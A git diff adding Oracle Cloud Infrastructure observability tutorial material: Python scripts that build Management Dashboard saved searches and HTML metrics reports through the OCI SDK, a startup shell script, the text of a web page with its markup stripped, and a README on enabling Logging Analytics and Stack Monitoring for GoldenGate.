+parser.add_argument("dashboard", type=str, help="Name of the dashboard") +parser.add_argument("compartment_id", type=str, help="the compartment ocid where saved search will be created") +parser.add_argument("namespace", type=str, help="namespace for which saved search will be created for Mean statistic with the metrics available") +parser.add_argument("dimension", type=str, help="dimension on which color-by is applied for the saved search.Use metrics explorer to know the dimensions available for the namespace") +args = parser.parse_args() + +config = oci.config.from_file('~/.oci/config') +compartment_id = args.compartment_id +dashboard_name = args.dashboard +provider_id = "log-analytics" +provider_name = "Logging Analytics" +provider_version = "3.0.0" +metadata_version = "2.0" +dashboard_type = "NORMAL" # SET and NORMAL is allowed +dashboard_is_favorite = False + +dashboard_ui_config = {"isFilteringEnabled": False, + "isRefreshEnabled": True, + "isTimeRangeEnabled": True + } + +WIDGET_TEMPLATE = "visualizations/chartWidgetTemplate.html" +WIDGET_VM = "visualizations/chartWidget" +namespace = args.namespace + +ss_parameter_config = [ + { + "defaultFilterIds": [ + "OOBSS-management-dashboard-time-selector-filter" + ], + "displayName": "Time", + "editUi": { + "filterTile": { + "filterId": "OOBSS-management-dashboard-time-selector-filter" + }, + "inputType": "savedSearch" + }, + "name": "time", + "required": True + }, + { + "defaultFilterIds": [ + "OOBSS-management-dashboard-compartment-filter" + ], + "displayName": "Compartment", + "editUi": { + "inputType": "compartmentSelect" + }, + "name": "compartmentId", + "required": True + }, + { + "defaultFilterIds": [ + "OOBSS-management-dashboard-region-filter" + ], + "displayName": "Region", + "editUi": { + "filterTile": { + "filterId": "OOBSS-management-dashboard-region-filter" + }, + "inputType": "savedSearch" + }, + "name": "regionName", + "required": False + } +] + +dashboard_parameters_config = [{ + "displayName": "Compartment", + "localStorageKey": "compartmentId", + "name": "compartmentId", + "parametersMap": { + "isActiveCompartment": "true", + "isStoreInLocalStorage": False + }, + "savedSearchId": "OOBSS-management-dashboard-compartment-filter", + "state": "DEFAULT" + }, + { + "savedSearchId": "OOBSS-management-dashboard-region-filter", + "width": 2, + "state": "DEFAULT", + "parametersMap": { "isStoreInLocalStorage": True }, + "name": "regionFilter", + "localStorageKey": "regionFilter" + }, + { + "displayName": "$(bundle.globalSavedSearch.TIME)", + "name": "time", + "src": "$(context.time)" + }] + +features_config = { + "crossService": { + "shared": True + }, + "dependencies": [] +} + +monitoring_client = oci.monitoring.MonitoringClient(config) +management_dashboard_client = oci.management_dashboard.DashxApisClient(config) + +# To listing saved search +def list_ss(name=None): + list_management_saved_searches_response = management_dashboard_client.list_management_saved_searches( + compartment_id=compartment_id, + display_name=name) + if len(list_management_saved_searches_response.data.items) > 0: + ss_id = list_management_saved_searches_response.data.items[0].id + return ss_id + else: + return list_management_saved_searches_response.data.items + +# Create ui_config json +def get_json_ui_config(namespace=None, metric_name=None,widget=None): + jet_config = { + "type": widget, + "timeAxisType": "enabled", + "xAxis": { + "viewportMin": "$(params.time.start)", + "viewportMax": "$(params.time.end)" + }, + "dataCursor": "on", + "legend": {"rendered": True, "position": "top"}, + "stack": "on", + "yAxis": {"title": f"{metric_name}"} + } + + chart_info = { + "jetConfig": jet_config, + "value": "aggregatedDatapoints.value", + "group": "aggregatedDatapoints.timestamp", + "colorBy": f"dimensions.{args.dimension}", + "series": f"dimensions.{args.dimension}" + } + + viz_type_config = { + "vizType": "chart", + "chartInfo": chart_info, + "defaultDataSource": f"{namespace}/{metric_name}" + } + return viz_type_config + +def get_json_data_config(namespace=None, metric_name=None): + parameters = { + "compartmentId": "$(params.compartmentId)", + "endTime": "$(params.time.end)", + "mql": f"{metric_name}[auto].mean()", + "namespace": namespace, + "regionName": "$(params.regionName)", + "startTime": "$(params.time.start)", + "maxDataPoints": "useInterval" + } + data_config = [{ + "name": f"{namespace}/{metric_name}", + "parameters": parameters, + "type": "monitoringDataSource" + }] + return data_config + +# create saved search for dashboard +def create_ss(name=None, description=None, data_config=None, metric_ui_config=None): + management_dashboard_client.create_management_saved_search( + create_management_saved_search_details=oci.management_dashboard.models.CreateManagementSavedSearchDetails( + display_name=name, + provider_id=provider_id, + provider_version=provider_version, + provider_name=provider_name, + compartment_id=compartment_id, + is_oob_saved_search=False, + description=description, + nls={}, + type="WIDGET_SHOW_IN_DASHBOARD", + ui_config=metric_ui_config, + data_config=data_config, + screen_image="to-do", + metadata_version=metadata_version, + widget_template=WIDGET_TEMPLATE, + widget_vm=WIDGET_VM, + parameters_config=ss_parameter_config, + features_config=features_config + )) + +def update_ss(name=None, description=None, data_config=None, metric_ui_config=None, **kwargs): + management_dashboard_client.update_management_saved_search( + management_saved_search_id=list_ss(name=name), + update_management_saved_search_details=oci.management_dashboard.models.UpdateManagementSavedSearchDetails( + display_name=name, + provider_id=provider_id, + provider_version=provider_version, + provider_name=provider_name, + compartment_id=compartment_id, + is_oob_saved_search=False, + description=description, + nls={}, + type=kwargs.get("type", "WIDGET_SHOW_IN_DASHBOARD"), + ui_config=metric_ui_config, + data_config=data_config, + screen_image="to-do", + metadata_version=metadata_version, + widget_template=WIDGET_TEMPLATE, + widget_vm=WIDGET_VM, + parameters_config=ss_parameter_config, + features_config=features_config, + drilldown_config=[])) + +def list_metrics(namespace=None): + list_metrics_response = monitoring_client.list_metrics( + compartment_id=compartment_id, + list_metrics_details=oci.monitoring.models.ListMetricsDetails( + namespace=namespace)) + metrics = [] + for key in list_metrics_response.data: + if key.name not in metrics: + metrics.append(key.name) + return metrics + +for metric_name in list_metrics(namespace=namespace): + ss_data_config = get_json_data_config(namespace=namespace,metric_name=metric_name) + ss_ui_config = get_json_ui_config(namespace=namespace, metric_name=metric_name,widget="line") + if len(list_ss(name=f"{metric_name}")) == 0: + create_ss(name=f"{metric_name}", description=f"{metric_name} Mean", + data_config=ss_data_config, metric_ui_config=ss_ui_config) + else: + update_ss(name=f"{metric_name}", description=f"{metric_name} Mean", + data_config=ss_data_config, metric_ui_config=ss_ui_config) + +def list_dashboards(name=None): + list_management_dashboards_response = management_dashboard_client.list_management_dashboards( + compartment_id=compartment_id, + display_name=name) + return list_management_dashboards_response.data.items + +# create dashboard +dashboard_list = list_dashboards(name=dashboard_name) +if len(dashboard_list) == 0: + create_management_dashboard_response = management_dashboard_client.create_management_dashboard( + create_management_dashboard_details=oci.management_dashboard.models.CreateManagementDashboardDetails( + provider_id=provider_id, + provider_name=provider_name, + provider_version=provider_version, + tiles=[], + display_name=dashboard_name, + description=dashboard_name, + compartment_id=compartment_id, + is_oob_dashboard=False, + is_show_in_home=False, + metadata_version=metadata_version, + is_show_description=True, + screen_image="todo: provide value[mandatory]", + nls={}, + ui_config=dashboard_ui_config, + data_config=[], + type=dashboard_type, + is_favorite=dashboard_is_favorite, + parameters_config=dashboard_parameters_config, + drilldown_config=[])) +``` + +Once the dashboard and saved search is created we can simply drag and drop the required widgets. You can also update the saved search if any changes needed later. + +The above automation though is a starting point in saving time it’s not a perfect solution for all requirements. The idea is to show how easy it can be automated using python SDK and you can make small changes as per the requirements instead of writing from scratch. diff --git a/observability-and-management/assets/oci-management-dashboard-automation/images/.gitkeep b/observability-and-management/assets/oci-management-dashboard-automation/images/.gitkeep new file mode 100644 index 000000000..464560bc0 --- /dev/null +++ b/observability-and-management/assets/oci-management-dashboard-automation/images/.gitkeep @@ -0,0 +1 @@ +# Approved images for this article live here. diff --git a/observability-and-management/assets/oci-management-dashboard-automation/images/image-01.png b/observability-and-management/assets/oci-management-dashboard-automation/images/image-01.png new file mode 100644 index 000000000..1a5c76094 Binary files /dev/null and b/observability-and-management/assets/oci-management-dashboard-automation/images/image-01.png differ diff --git a/observability-and-management/assets/oci-management-dashboard-automation/images/image-02.png b/observability-and-management/assets/oci-management-dashboard-automation/images/image-02.png new file mode 100644 index 000000000..03266b712 Binary files /dev/null and b/observability-and-management/assets/oci-management-dashboard-automation/images/image-02.png differ diff --git a/observability-and-management/assets/oci-management-dashboard-automation/images/image-03.png b/observability-and-management/assets/oci-management-dashboard-automation/images/image-03.png new file mode 100644 index 000000000..fb6ef0cec Binary files /dev/null and b/observability-and-management/assets/oci-management-dashboard-automation/images/image-03.png differ diff --git a/observability-and-management/assets/oci-metrics-report/.gitignore b/observability-and-management/assets/oci-metrics-report/.gitignore new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-metrics-report/ARCHITECTURE.md b/observability-and-management/assets/oci-metrics-report/ARCHITECTURE.md new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-metrics-report/README.md b/observability-and-management/assets/oci-metrics-report/README.md new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-metrics-report/app.py b/observability-and-management/assets/oci-metrics-report/app.py new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-metrics-report/cloudshell_report.sh b/observability-and-management/assets/oci-metrics-report/cloudshell_report.sh new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-metrics-report/generate_report.py b/observability-and-management/assets/oci-metrics-report/generate_report.py new file mode 100644 index 000000000..31802ff27 --- /dev/null +++ b/observability-and-management/assets/oci-metrics-report/generate_report.py @@ -0,0 +1,645 @@ +#!/usr/bin/env python3 +""" +OCI Metrics Report Generator - CLI Script + +Generate HTML metric reports directly from the command line. +Designed for use in OCI CloudShell and automated environments. + +Usage: + # Basic usage with auto-detected authentication + python generate_report.py -c -n oci_computeagent -m CpuUtilization + + # Multiple metrics + python generate_report.py -c -n oci_computeagent \ + -m CpuUtilization -m MemoryUtilization -m NetworkBytesIn + + # With custom time range and MQL + python generate_report.py -c -n oci_computeagent \ + --mql "CpuUtilization[1h].groupBy(resourceId).mean()" --hours 168 + + # CloudShell with instance principal + python generate_report.py --auth instance_principal -c \ + -n oci_computeagent -m CpuUtilization + +Examples: + # Generate report for compute metrics in the last 24 hours + python generate_report.py -c ocid1.compartment.oc1..xxx -n oci_computeagent \ + -m CpuUtilization -m MemoryUtilization -o compute_report.html + + # Generate report using raw MQL + python generate_report.py -c ocid1.compartment.oc1..xxx -n oci_computeagent \ + --mql "CpuUtilization[1h].groupBy(availabilityDomain).max()" -o cpu_by_ad.html +""" + +import argparse +import json +import os +import sys +from datetime import datetime, timedelta +from typing import List, Dict, Any, Optional + +# Add parent directory to path for imports +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + +from app import OCIMonitoringClient, AuthType, detect_auth_type + + +def parse_args(): + """Parse command line arguments.""" + parser = argparse.ArgumentParser( + description="Generate OCI Monitoring metrics report as HTML", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=""" +Authentication Methods: + --auth config_file Use OCI config file (default) + --auth instance_principal Use instance principal (CloudShell, compute instances) + --auth resource_principal Use resource principal (OCI Functions) + --auth security_token Use security token (CloudShell delegation) + +Examples: + # List available namespaces in a compartment + python generate_report.py -c --list-namespaces + + # List available metrics in a namespace + python generate_report.py -c -n oci_computeagent --list-metrics + + # Generate report with multiple metrics + python generate_report.py -c -n oci_computeagent \\ + -m CpuUtilization -m MemoryUtilization -o report.html + + # Use MQL query directly + python generate_report.py -c -n oci_computeagent \\ + --mql "CpuUtilization[1h].groupBy(resourceId).mean()" -o report.html + """ + ) + + # Authentication options + auth_group = parser.add_argument_group('Authentication') + auth_group.add_argument( + '--auth', choices=['config_file', 'instance_principal', 'resource_principal', 'security_token'], + default=None, help='Authentication method (auto-detected if not specified)' + ) + auth_group.add_argument( + '--config-file', default='~/.oci/config', + help='OCI config file path (default: ~/.oci/config)' + ) + auth_group.add_argument( + '--profile', default='DEFAULT', + help='OCI config profile (default: DEFAULT)' + ) + auth_group.add_argument( + '--region', help='OCI region (overrides config/auto-detection)' + ) + + # Query options + query_group = parser.add_argument_group('Query Options') + query_group.add_argument( + '-c', '--compartment', required=True, + help='Compartment OCID to query' + ) + query_group.add_argument( + '-n', '--namespace', + help='Metric namespace (e.g., oci_computeagent)' + ) + query_group.add_argument( + '-m', '--metric', action='append', dest='metrics', + help='Metric name(s) to include (can specify multiple)' + ) + query_group.add_argument( + '--mql', action='append', dest='mql_queries', + help='Raw MQL query (can specify multiple)' + ) + query_group.add_argument( + '-i', '--interval', default='1h', + choices=['1m', '5m', '15m', '1h', '6h', '1d'], + help='Aggregation interval (default: 1h)' + ) + query_group.add_argument( + '-s', '--statistic', default='mean', + choices=['mean', 'max', 'min', 'sum', 'count', 'rate', 'p50', 'p90', 'p95', 'p99'], + help='Aggregation statistic (default: mean)' + ) + query_group.add_argument( + '-g', '--group-by', + help='Dimension to group by (e.g., resourceId, availabilityDomain)' + ) + query_group.add_argument( + '--resource-group', + help='Filter by resource group' + ) + + # Time range options + time_group = parser.add_argument_group('Time Range') + time_group.add_argument( + '--hours', type=int, default=24, + help='Hours of data to fetch (default: 24)' + ) + time_group.add_argument( + '--start-time', + help='Start time (ISO format, e.g., 2024-01-01T00:00:00Z)' + ) + time_group.add_argument( + '--end-time', + help='End time (ISO format, e.g., 2024-01-02T00:00:00Z)' + ) + + # Output options + output_group = parser.add_argument_group('Output') + output_group.add_argument( + '-o', '--output', default='oci_metrics_report.html', + help='Output HTML file path (default: oci_metrics_report.html)' + ) + output_group.add_argument( + '--title', default='OCI Metrics Report', + help='Report title' + ) + output_group.add_argument( + '--json', action='store_true', + help='Output raw JSON instead of HTML' + ) + + # Discovery options + discovery_group = parser.add_argument_group('Discovery') + discovery_group.add_argument( + '--list-namespaces', action='store_true', + help='List available metric namespaces and exit' + ) + discovery_group.add_argument( + '--list-metrics', action='store_true', + help='List available metrics in namespace and exit' + ) + discovery_group.add_argument( + '--list-compartments', action='store_true', + help='List available compartments and exit' + ) + + return parser.parse_args() + + +def get_auth_type(auth_str: Optional[str]) -> Optional[AuthType]: + """Convert auth string to AuthType enum.""" + if auth_str is None: + return None + mapping = { + 'config_file': AuthType.CONFIG_FILE, + 'instance_principal': AuthType.INSTANCE_PRINCIPAL, + 'resource_principal': AuthType.RESOURCE_PRINCIPAL, + 'security_token': AuthType.SECURITY_TOKEN + } + return mapping.get(auth_str) + + +def build_mql(metric: str, interval: str, statistic: str, + group_by: Optional[str] = None, + resource_group: Optional[str] = None) -> str: + """Build MQL query from components.""" + # Handle percentile statistics + stat_map = { + 'p50': 'percentile(0.5)', + 'p90': 'percentile(0.9)', + 'p95': 'percentile(0.95)', + 'p99': 'percentile(0.99)' + } + stat = stat_map.get(statistic, statistic) + + mql = f"{metric}[{interval}]" + + if resource_group: + mql += f'{{resourceGroup="{resource_group}"}}' + + if group_by: + mql += f".groupBy({group_by})" + + mql += f".{stat}()" + + return mql + + +def generate_html_report(results: List[Dict], title: str, args) -> str: + """Generate HTML report from query results.""" + # Prepare chart data + charts_data = [] + for idx, result in enumerate(results): + chart_id = f"chart_{idx}" + datasets = [] + + for series_idx, series in enumerate(result.get('metric_data', [])): + data_points = [ + {"x": dp['timestamp'], "y": dp['value']} + for dp in series.get('data_points', []) + ] + datasets.append({ + "label": series.get('label', f"Series {series_idx}"), + "data": data_points, + "borderColor": get_color(series_idx), + "backgroundColor": get_color(series_idx, 0.1), + "fill": False, + "tension": 0.1 + }) + + charts_data.append({ + "id": chart_id, + "query": result.get('query', 'Unknown'), + "namespace": result.get('namespace', ''), + "datasets": datasets + }) + + charts_json = json.dumps(charts_data, default=str) + + html = f''' + + + + + {title} + + + + + +
+
+

{title}

+
+ Generated: {datetime.now().strftime("%Y-%m-%d %H:%M:%S")} + Compartment: {args.compartment[:30]}... + Time Range: {args.hours} hours +
+
+
+ +
+
+
+
Total Queries
+
{len(results)}
+
+
+
Time Range
+
{args.hours}h
+
+
+
Namespace
+
{args.namespace or 'Multiple'}
+
+
+ +
+ +
+
+ +
+

Generated by OCI Metrics Report Generator

+
+ + + +''' + + return html + + +def get_color(index: int, alpha: float = 1.0) -> str: + """Get color for chart series.""" + colors = [ + f"rgba(49, 45, 42, {alpha})", + f"rgba(40, 167, 69, {alpha})", + f"rgba(220, 53, 69, {alpha})", + f"rgba(255, 193, 7, {alpha})", + f"rgba(111, 66, 193, {alpha})", + f"rgba(23, 162, 184, {alpha})", + f"rgba(253, 126, 20, {alpha})", + f"rgba(108, 117, 125, {alpha})" + ] + return colors[index % len(colors)] + + +def main(): + """Main entry point.""" + args = parse_args() + + # Initialize OCI client + print(f"Initializing OCI client...") + try: + auth_type = get_auth_type(args.auth) + client = OCIMonitoringClient( + config_file=args.config_file, + profile=args.profile, + auth_type=auth_type, + region=args.region + ) + print(f" Auth type: {client.auth_type.value}") + print(f" Region: {client.config.get('region', 'unknown')}") + print(f" Tenancy: {client.tenancy_id[:30]}...") + except Exception as e: + print(f"Error: Failed to initialize OCI client: {e}") + sys.exit(1) + + # Handle discovery commands + if args.list_compartments: + print("\nAvailable Compartments:") + print("-" * 60) + compartments = client.list_compartments() + for comp in compartments: + print(f" {comp['path']}") + print(f" OCID: {comp['id']}") + sys.exit(0) + + if args.list_namespaces: + print(f"\nMetric Namespaces in compartment:") + print("-" * 60) + namespaces = client.list_metric_namespaces(args.compartment) + for ns in namespaces: + print(f" {ns}") + sys.exit(0) + + if args.list_metrics: + if not args.namespace: + print("Error: --namespace is required for --list-metrics") + sys.exit(1) + print(f"\nMetrics in namespace '{args.namespace}':") + print("-" * 60) + metrics = client.list_metrics(args.compartment, args.namespace) + for metric in metrics: + dims = ", ".join(metric['dimensions']) if metric['dimensions'] else "none" + print(f" {metric['name']}") + print(f" Dimensions: {dims}") + sys.exit(0) + + # Validate required arguments for report generation + if not args.namespace and not args.mql_queries: + print("Error: --namespace is required (unless using --mql)") + sys.exit(1) + + if not args.metrics and not args.mql_queries: + print("Error: At least one --metric or --mql is required") + sys.exit(1) + + # Calculate time range + if args.start_time and args.end_time: + start_time = datetime.fromisoformat(args.start_time.replace('Z', '+00:00')) + end_time = datetime.fromisoformat(args.end_time.replace('Z', '+00:00')) + else: + end_time = datetime.utcnow() + start_time = end_time - timedelta(hours=args.hours) + + print(f"\nTime range: {start_time.isoformat()} to {end_time.isoformat()}") + + # Build queries + queries = [] + + # Add MQL queries + if args.mql_queries: + for mql in args.mql_queries: + queries.append({ + 'namespace': args.namespace, + 'mql': mql + }) + + # Build queries from metric names + if args.metrics: + for metric in args.metrics: + mql = build_mql( + metric=metric, + interval=args.interval, + statistic=args.statistic, + group_by=args.group_by, + resource_group=args.resource_group + ) + queries.append({ + 'namespace': args.namespace, + 'mql': mql + }) + + # Execute queries + results = [] + print(f"\nExecuting {len(queries)} queries...") + + for idx, query in enumerate(queries): + print(f" [{idx + 1}/{len(queries)}] {query['mql']}") + try: + result = client.query_metrics( + compartment_id=args.compartment, + namespace=query['namespace'], + query=query['mql'], + start_time=start_time, + end_time=end_time + ) + results.append(result) + data_points = sum(len(s['data_points']) for s in result.get('metric_data', [])) + print(f" -> {len(result.get('metric_data', []))} series, {data_points} data points") + except Exception as e: + print(f" -> Error: {e}") + results.append({ + 'query': query['mql'], + 'namespace': query['namespace'], + 'error': str(e), + 'metric_data': [] + }) + + # Generate output + if args.json: + output = json.dumps(results, indent=2, default=str) + output_file = args.output.replace('.html', '.json') if args.output.endswith('.html') else args.output + else: + output = generate_html_report(results, args.title, args) + output_file = args.output + + # Write output + with open(output_file, 'w') as f: + f.write(output) + + print(f"\nReport generated: {output_file}") + print(f" Total queries: {len(results)}") + print(f" Successful: {sum(1 for r in results if 'error' not in r)}") + + # Print file size + file_size = os.path.getsize(output_file) + if file_size > 1024 * 1024: + print(f" File size: {file_size / 1024 / 1024:.2f} MB") + else: + print(f" File size: {file_size / 1024:.2f} KB") + + +if __name__ == '__main__': + main() diff --git a/observability-and-management/assets/oci-metrics-report/images/1.png b/observability-and-management/assets/oci-metrics-report/images/1.png new file mode 100644 index 000000000..7d471002a Binary files /dev/null and b/observability-and-management/assets/oci-metrics-report/images/1.png differ diff --git a/observability-and-management/assets/oci-metrics-report/images/2.png b/observability-and-management/assets/oci-metrics-report/images/2.png new file mode 100644 index 000000000..ecc54206c Binary files /dev/null and b/observability-and-management/assets/oci-metrics-report/images/2.png differ diff --git a/observability-and-management/assets/oci-metrics-report/images/3.png b/observability-and-management/assets/oci-metrics-report/images/3.png new file mode 100644 index 000000000..dbaa2a208 Binary files /dev/null and b/observability-and-management/assets/oci-metrics-report/images/3.png differ diff --git a/observability-and-management/assets/oci-metrics-report/images/4-multicompartment.png b/observability-and-management/assets/oci-metrics-report/images/4-multicompartment.png new file mode 100644 index 000000000..45b8d658f Binary files /dev/null and b/observability-and-management/assets/oci-metrics-report/images/4-multicompartment.png differ diff --git a/observability-and-management/assets/oci-metrics-report/images/5.png b/observability-and-management/assets/oci-metrics-report/images/5.png new file mode 100644 index 000000000..656a43c7e Binary files /dev/null and b/observability-and-management/assets/oci-metrics-report/images/5.png differ diff --git a/observability-and-management/assets/oci-metrics-report/requirements.txt b/observability-and-management/assets/oci-metrics-report/requirements.txt new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-metrics-report/run.sh b/observability-and-management/assets/oci-metrics-report/run.sh new file mode 100644 index 000000000..54dd03246 --- /dev/null +++ b/observability-and-management/assets/oci-metrics-report/run.sh @@ -0,0 +1,36 @@ +#!/bin/bash + +# OCI Metrics Report Generator - Startup Script + +# Colors for output +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +NC='\033[0m' # No Color + +echo -e "${GREEN}Starting OCI Metrics Report Generator...${NC}" + +# Check if virtual environment exists +if [ ! -d "venv" ]; then + echo -e "${YELLOW}Creating virtual environment...${NC}" + python3 -m venv venv +fi + +# Activate virtual environment +source venv/bin/activate + +# Install/update dependencies +echo -e "${YELLOW}Installing dependencies...${NC}" +pip install -q -r requirements.txt + +# Check OCI config +if [ ! -f ~/.oci/config ]; then + echo -e "${YELLOW}Warning: OCI config file not found at ~/.oci/config${NC}" + echo "Please configure your OCI CLI before using this application." +fi + +# Start the application +echo -e "${GREEN}Starting server on http://localhost:8080${NC}" +echo -e "Press Ctrl+C to stop the server" +echo "" + +python app.py diff --git a/observability-and-management/assets/oci-metrics-report/static/index.html b/observability-and-management/assets/oci-metrics-report/static/index.html new file mode 100644 index 000000000..ce41d6f8d --- /dev/null +++ b/observability-and-management/assets/oci-metrics-report/static/index.html @@ -0,0 +1,3687 @@ + + + + + + OCI Metrics Report Generator + + + + + + + + + +
+
+
+ +
+

OCI Metrics Report Generator

+
+
+
+ Region: Loading... + Authenticating... +
+
+
+ +
+ +
+
+

Time Range

+
+
+
+
+ + + + + + + +
+ +
+
+
+ + +
+
+

Query Editor

+ +
+
+
+ +
+
+ +
+ +
+ + +
+
+

Query 1

+
+ Advanced mode + +
+
+ + +
+
+
+ +
+
+
+ Click to select compartments... +
+ +
+
+
+ +
+
+
Loading compartments...
+
+
+
+
+
+ +
+
+
+ Click to select regions... +
+ +
+
+
+
Loading regions...
+
+
+
+
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+

Metric dimensions

+
+ + +
+
+
+ +
+ +
+
+ + + + +
+ + +
+
+
+
+
+ + + + + +
+
+

No queries yet

+

Add a query and click "Run Query" to visualize metrics

+
+
+
+ + +
+ + + + diff --git a/observability-and-management/assets/oci-observability-for-goldengate-cloud/README.md b/observability-and-management/assets/oci-observability-for-goldengate-cloud/README.md new file mode 100644 index 000000000..408f5fffc --- /dev/null +++ b/observability-and-management/assets/oci-observability-for-goldengate-cloud/README.md @@ -0,0 +1,112 @@ +# How to enable OCI Observability on Golden Gate Cloud + +Oracle Cloud Infrastructure GoldenGate is a fully managed, native cloud service that moves data in real-time, at scale. OCI GoldenGate processes data as it moves from one or more data management systems to target databases. + +![Picture 19](./images/image-01.png) + +### Enable Logging Analytics + +OCI services produces logs that are collecting into Logging Service. Logs will be tranfered into logging Analytics to provide advanced funcionalities + +1. Enable Logging for OCI Golden Gate. Go on Observability and Management — > Logging →Logs →Enable Service Log + +![Picture 18](./images/image-02.png) + + + + +2. Tranfer the GG logs to Logging analytics. Go on Observability and Management → Logging → Logs → Connectors → Create connector + + + +![Picture 17](./images/image-03.png) + + + +![Picture 16](./images/image-04.png) + +3. Wait 5 minutes and then go on Observability and Management → Logging Analytics → Explorer + + + +![Picture 15](./images/image-05.png) + +4. Select OCI GoldenGate Process and Error. + + + +![Picture 14](./images/image-06.png) + +Now you can use all Logging Analytics capabilities. + +### Enable Stack Monitoring + +Enabling Stack Monitoring you will get Golden Gate Out of the Box dashbaord and[ extra metrics](https://docs.oracle.com/en-us/iaas/stack-monitoring/doc/metric-reference.html). + +1. Install Management Agent on a OCI VM. Please refer to [this ](https://blogs.oracle.com/observability/post/oci-logginganalytics-compute-instance)Blog + +2. Download Golden Gate certificate and save it on a location accessible by the Management Agent + +Go on Golden Gate -> Deployments -> Launch console + + + +![Picture 12](./images/image-07.png) + +Download the certificate. Go on Connection is Secure →Certificate is valid → Details → Select the certificate →Export + +![Picture 11](./images/image-08.png) + +![Picture 10](./images/image-09.png) + +![Picture 9](./images/image-10.png) + +3. Copy the certificate on the Compute VM /tmp folder. Rename it as DigiCertGGConsole.crt and create the eystore on the Compute VM. Keystore location needs to be accesible by the agent + +```text +sudo -u mgmt_agent sh +cd -- +mv /tmp/DigiCert\ Global\ G2\ TLS\ RSA\ SHA256\ 2020\ CA1.crt DigiCertGGConsole.crt +keytool -import -file DigiCertGGConsole.crt -alias DigicertCA -keystore mgmt_agent_keystore +``` + +4. Discovery Golden Gate service. Go on Observability →Stack Monitoring →Resource Discovery →Discovery New resource + +```text +Hostname = deployment console URL +Management Agent = Agent Name discovered in Observability -> Management Agent Console +TrustStore = /usr/share/mgmt_agent/mgmt_agent_keystore +``` + +Press enter or click to view image in full size + +![Picture 8](./images/image-11.png) + +![Picture 7](./images/image-12.png) + +Press enter or click to view image in full size + +![Picture 6](./images/image-13.png) + +Press enter or click to view image in full size + +![Picture 5](./images/image-14.png) + +5. After the discovery process completed you can see Golden Gate in Stack Monitor console + + +![Picture 4](./images/image-15.png) + + + +![Picture 3](./images/image-16.png) + + + +![Picture 2](./images/image-17.png) + + + +![Picture 1](./images/image-18.png) + +Now you can use full Observability capability on your Golden Gate service. diff --git a/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/.gitkeep b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/.gitkeep new file mode 100644 index 000000000..464560bc0 --- /dev/null +++ b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/.gitkeep @@ -0,0 +1 @@ +# Approved images for this article live here. diff --git a/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-01.png b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-01.png new file mode 100644 index 000000000..be1d2679e Binary files /dev/null and b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-01.png differ diff --git a/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-02.png b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-02.png new file mode 100644 index 000000000..3bd00a0a4 Binary files /dev/null and b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-02.png differ diff --git a/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-03.png b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-03.png new file mode 100644 index 000000000..7eb8236a4 Binary files /dev/null and b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-03.png differ diff --git a/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-04.png b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-04.png new file mode 100644 index 000000000..cc9ed8ddd Binary files /dev/null and b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-04.png differ diff --git a/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-05.png b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-05.png new file mode 100644 index 000000000..2f822e636 Binary files /dev/null and b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-05.png differ diff --git a/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-06.png b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-06.png new file mode 100644 index 000000000..3c5c7ca1e Binary files /dev/null and b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-06.png differ diff --git a/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-07.png b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-07.png new file mode 100644 index 000000000..9b7f73986 Binary files /dev/null and b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-07.png differ diff --git a/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-08.png b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-08.png new file mode 100644 index 000000000..7728abc0a Binary files /dev/null and b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-08.png differ diff --git a/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-09.png b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-09.png new file mode 100644 index 000000000..2a4613b0c Binary files /dev/null and b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-09.png differ diff --git a/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-10.png b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-10.png new file mode 100644 index 000000000..c1b524b3f Binary files /dev/null and b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-10.png differ diff --git a/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-11.png b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-11.png new file mode 100644 index 000000000..0be200351 Binary files /dev/null and b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-11.png differ diff --git a/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-12.png b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-12.png new file mode 100644 index 000000000..e0b694c6a Binary files /dev/null and 